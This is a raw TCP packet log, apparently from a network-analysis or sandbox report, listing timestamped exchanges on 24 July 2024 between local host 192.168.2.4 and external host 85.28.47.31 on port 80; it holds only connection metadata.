Jul 24, 2024 02:39:06.881360054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881376028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881392956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881405115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881426096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881448984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881469011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881576061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881608009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881624937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881640911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881654024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881673098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881686926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881705046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881719112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881737947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881761074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881772041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881781101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881804943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881828070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881836891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881848097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881870985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881887913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881917953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882167101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882199049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882230997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882236004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882257938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882263899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882277012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882297039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882309914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882329941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882352114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882361889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882371902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882395029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882409096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882426977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882441044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882458925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882472038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882492065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882513046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882524014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882533073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882558107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882570028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882591009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882617950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882625103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882636070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882657051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882678032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882688046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.882704973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.882733107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883059978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883091927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883119106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883124113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883137941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883157015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883188009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883188963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883213043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883222103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883232117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883260965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883270979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883294106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883310080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883326054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883338928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883358002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883392096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883414984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883424044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883454084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883456945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883488894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883491993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883517981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883528948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883546114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883560896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883575916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883595943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.883618116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.883641958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884001017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884033918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884059906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884067059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884079933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884099960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884116888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884130955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884146929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884162903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884175062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884196043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884222031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884228945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884241104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884260893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884277105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884293079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884305954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884325981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884339094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884358883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884377003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884391069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884406090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884424925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884439945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884457111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884505033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884505987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884514093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884550095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884576082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884582996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884603977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884628057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884815931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884849072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884865046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884881973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884891033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884915113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884927988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884948969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.884965897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.884994030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.141792059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.141941071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.141979933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.141998053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142014027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142031908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142046928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142064095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142071009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142080069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142112970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142146111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142147064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142168999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142255068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142291069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142324924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142358065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142390013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142421007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142452955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142486095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142518044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142518997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142554045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142560959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142580986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142587900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142621040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142623901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142647982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142654896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142663956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142688990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.142725945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.142744064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143098116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143131018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143163919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143165112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143189907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143198967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143224955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143232107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143244028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143265009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143287897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143299103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143306017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143332958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143357038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143367052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143378019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143399954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143426895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143433094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143455982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143466949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143480062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143500090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143528938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143533945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143552065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143567085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143590927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143600941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143619061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143634081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143651962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143671036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.143686056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143733978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.143996000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144031048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144063950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144063950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144081116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144097090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144113064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144133091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144145012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144165039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144196033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144197941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144216061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144229889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144244909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144264936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144294977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144298077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144323111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144331932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144347906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144366026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144396067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144398928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144412994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144433022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144459963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144465923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144491911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144526005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144535065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144562960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144596100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144602060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144624949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144633055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.144643068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.144684076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145059109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145092964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145124912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145127058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145149946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145159006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145173073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145190954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145206928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145225048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145240068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145257950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145287037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145291090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145318031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145323992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145339966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145356894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145374060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145390034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145407915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145422935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145450115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145457029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145473003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145492077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145505905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145525932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145540953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145560026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145590067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145592928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145612001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145627975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145646095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145661116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145678043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145709991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145899057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145934105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145966053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.145967960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.145983934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146001101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146013975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146034956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146051884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146068096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146085978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146100998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146119118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146133900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146152020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146167040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146193027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146199942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146218061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146234035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146250963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146266937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146290064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146300077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146317005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146333933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146351099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146365881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146384001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146399975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146423101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146433115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146450043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146469116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146482944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146516085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146852016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146883965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146913052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146915913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146943092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146945953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.146960974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.146980047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147010088 CEST	49730	80	192.168.2.4	85.28.47.31
